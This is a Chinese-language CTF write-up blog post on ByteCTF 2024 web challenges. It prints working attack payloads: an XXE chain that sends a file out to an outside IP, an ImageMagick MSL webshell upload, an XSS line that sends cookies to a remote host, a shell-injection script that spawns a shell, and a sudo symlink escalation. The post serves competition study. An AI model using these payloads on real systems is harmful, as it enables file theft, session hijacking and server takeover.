2024Bytectf

这次比赛 我们A1natas排名第17 可惜了没能进入决赛 就差一点

f2c76cdfcb491062922c75392cc4006

最近p事情太多了 又忙newstar又忙其他的 现在才有时间复现 写博客

ezobj(复现)

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
ini_set("display_errors", "On");
include_once("config.php");
if (isset($_GET['so']) && isset($_GET['key'])) {
if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
}
}
if (isset($_GET['byte']) && isset($_GET['ctf'])) {
$a = new ReflectionClass($_GET['byte']);
$b = $a->newInstanceArgs($_GET['ctf']);
// echo $b;
} elseif (isset($_GET['clean'])){
array_map('unlink', glob('/tmp/*'));
} else {
highlight_file(__FILE__);
echo 'Hello ByteCTF2024!';
}
// phpinfo.html Hello ByteCTF2024!

存在phpinfo.html 标签

原生类构造

这里存在一个反射代码

1
2
$a = new ReflectionClass($_GET['byte']);
$b = $a->newInstanceArgs($_GET['ctf']);

这里使用反射调用了ReflectionClass 反射获取了一个类 然后调用了这个类的构造方法

类似于

1
new $_POST["a"]($_POST["b"]);

寻找可以利用的原生类

SimpleXMLElement

在SimpleXMLElement的构造函数里面

1
2
3
4
5
6
7
final function __construct(
$data,
$options = 0,
$dataIsURL = false,
$namespaceOrPrefix = "",
$isPrefix = false
)

如果这里的dataurl 设置为true 就可以加载远程的xml文件造成xxe

构造一个文件读取的方式

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "ip/send.xml">
%remote;
%all;
%send;
]>

然后构造一个send.xml

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://47.96.138.107:3001/?file=%file;'>">

成功读取到$secret

这里可以控制LD_PRELOAD 显然这里要劫持这个so

imagick 利用

想起来之前知识星球看到过一篇文章、

Exploiting Arbitrary Object Instantiations in PHP without Custom Classes – PT SWARM (ptsecurity.com)

phpinfo.html里面存在ImageMagick依赖

使用msl的通配符匹配上传到tmp目录下的文件 可以利用msl写入

参考CTF-Challenges/CISCN/2022/backdoor/writup/writup.md at master · AFKL1919/CTF-Challenges (github.com)

写入之后使用vid:msl:/tmp/php* 直接执行上传缓存文件

1
2
3
4
5
6
7
8
9
10
------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="1.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?=phpinfo();?&gt;"/>
<write filename="info:shell.php" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

但是这里的网站目录下无法写入(比赛的时候也卡在这里)

可以写入的协议 inline:data://image/x-portable-anymap;base64,
利用 ppm 图像文件格式的特点,可在末尾插入序列化数据而不影响图片的正常解析

用 inline:data:text/8BIM;base64,不需要符合图片标准

用msf写一个so进去 然后加载 redis提权就行 这里没环境了 提一下算了

OnlyBypassMe

解零

提一嘴得了 怪好笑的

注意到存在swaager ui 泄露 存在很多接口

在注册登录之后 发现可以修改自己的权限 但是不能修改成1 应该就是root权限 试了下1.0就过了

1
2
3
4
{
"userId": "hvokigoj6n4m",
"roleId": 1.0
}

image-20241008220037560

解一

java的url组件可以使用file协议列出目录结构

1
{"url":"file:///var/lib/mysql/byteCTF/flag.ibd#.png"}

CrossVue

Profile 存在xss

image-20241008222230593

绕过就行

1
{{new Image().src="http://111.229.202.164:3232/?a="+document.cookie}} 外带cookie即可

image-20241008222300967

窃取到cookies后访问/admin路由即可

image-20241008222400620

Bash Game

注意到

image-20241008222508638

name可以控制 每次匹配的是Bytectf~!之间的东西

把后面的!给他干掉就行

可以用!a/;r 构造任意字符写入 每一次写入一个字符 使用!\n/;r执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://cfe6b440.clsadp.com/" + "update"
cmd = input("cmd: ")

mdc = cmd[::-1]

for i in mdc:
print(i)
data = {"name": "!"+i+"/#"}
# !\/;r
if i=="/":
input()
continue
req = requests.post(url, data=data)
print(req.text)

evil="!\n/;r"
req = requests.post(url, data=evil)
print(req.text)

/ 处理有点问题 直接手动输入就行

弹shell出来

image-20241008222705125

flag没权限

注意到sudo -l

image-20241008222740014

truegame.sh如下

1
2
3
4
5
6
7
#!/bin/bash

if [[ "$1" -eq 1 ]]; then
sudo cat "$1"
else
echo 'wrong'
fi

直接创建软连接指向flag就行

1
ln -s flag 1

然后读取

image-20241008222819294

ezauth

差异化解析

当json存在两个相同字段的时候 python会取第二个 nodejs会取第一个

这里就能绕过

ezoldbuddy

go的身份认证 看不太来 再说吧

欸我草决赛怎么是大创 前面弃赛递补到我们了 就报销一个人还是不去了